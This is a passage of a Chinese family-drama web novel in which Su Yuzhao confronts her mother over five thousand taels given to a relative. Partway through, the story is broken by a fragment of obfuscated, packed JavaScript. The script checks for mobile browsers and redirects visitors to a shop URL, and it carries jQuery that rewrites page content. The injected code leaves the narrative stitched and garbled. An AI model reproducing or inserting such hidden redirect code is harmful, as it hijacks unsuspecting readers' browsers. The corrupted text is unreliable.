福宁和宝珠忙拉住她：“姑娘快省省，要去也得等天亮再去，这会子三更半夜的，太太已经睡下了，若闹起来岂不是让她为难。” 苏玉照冷静下来，回身踱步走到软塌边坐下，思忖道：“五千两也不是小数目，即便二婶婶张口要，母亲也不会平白无故给出去这么多。明日一早我去给母亲请安，先问明白她为什么给钱，再去同二婶婶计较。” 福宁道：“正是这理，我来告诉姑娘也是为了让您心里有数，好做盘算。可千万不能莽撞，一来跟二房闹僵了不好，二来也伤了太太的体面。” “我知道。”苏玉照道，“天晚了，姐姐回去睡觉吧，你放心，我必不同人说是你告诉的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374114|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 福宁行了个礼，就要出去，翠屏赶紧拿来个琉璃彩贝灯笼：“外头黑漆漆的，姐姐拿着灯，我让婆子们送你。” “哎，有劳了。”福宁答应着，跟婆子们走了。 苏玉照把这件事先按下，梳洗过后，进内室上床，一沾枕头就沉沉睡过去。 她心宽量大，向来好眠，从不为琐事萦心，等第二日宝珠来叫她起身时，已经近辰时了。 崔夫人年近不惑，与丈夫苏檀林就只得这么一个女儿，掌上明珠似的娇养到这么大，平日里对苏玉照十分纵容，从不拿请安之类的家常规矩拘束她。 苏玉照穿戴整齐，晃晃悠悠来到前面紫梅园，给母亲请安。 崔氏正吩咐人摆早膳，一见她进来，脸上便笑开了，拉着她的手，让她坐到自己身边：“昨儿几时回来的，今儿睡到这个时候，你父亲一不在家，你比先时更野了，哪儿还有个姑娘家安静乖巧的样子。” 这话崔氏天天絮叨，苏玉照听得耳朵快起茧子了，不以为然道：“阿娘，女儿我是要出去跟人家谈生意的，您让我安静乖巧？快别吧，那些人贼精贼精的，我若跟只小白兔似的，早被狼虫虎豹生吞活剥了。父亲又不在家，母亲您又不管事，在家里躲清闲，楼里还不是要我坐镇。饶这么着，还有人想在我这里坑蒙拐骗呢，我若再不拿乔端起东家的架子来，白花花的银子还不知填进去多少呢。好了好了，咱不说这个，今儿有什么好吃的？” “哎呦呦，就数你是商界奇才，咱家万宝楼都指望你撑着呢。”崔氏摸摸她的脸颊，嗔怪一句。 苏玉照一点不谦虚，得意扬眉：“那可不是怎的，不信您等爹爹回来，看他夸不夸我就是了。有我们两个在，您就擎等着享受荣华富贵吧。” 提到丈夫苏檀林，崔夫人脸上的笑意变得温柔，又道，“昨儿你二婶婶送来两只野鸽子，说是郑老夫人差人送来给她补身子的，一笼十多只，她自己吃不完，分给大伙尝尝鲜。我叫人煲了汤，你快喝一碗，再多吃点饭菜，整日家着三不着两，饥一顿饱一顿的，现在你年轻，自觉身子壮，等老了才知道不受用呢。” 丫鬟长喜忙给她盛了一碗鸽子汤，苏玉照边喝边试探的问道：“母亲，您跟二婶婶的关系，愈发亲近了啊，先前都是她从咱们这边饶东西，怎么现在也知道回报了，真是稀奇。” 崔氏自然不敢说，是自己给人家五千两银子，才换回来这点薄面，打了个哈哈道：“一家人和和睦睦的才好，不然白叫人家笑话，而且咱们家经商，你二叔在官场，互相扶持，才能越来越好呀。” 苏玉照咂了咂舌头：“这鸽子汤不错，很鲜，但也不值五千两吧？” 崔氏愣住：“玉娘，你怎么知道？” 她回头看向自己几个贴身丫鬟：“哪个小蹄子说的？” 众人都吓得低头。 苏玉照放下碗，拿起巾子擦手：“母亲不必苛责她们，此事不与她们相干，这个院子里，还没什么事能瞒过我去。母亲还是实话告诉我，为何要给二婶婶这么多钱？” “哎呀哪有那么多为什么，你二叔叔回京述职，想要再进一步，自然要银子打点。”崔氏道。 苏玉照：“那为何不同我商量？” 崔氏见搪塞不过，板起脸道：“好啊，你要造反，审起你老子娘来了！”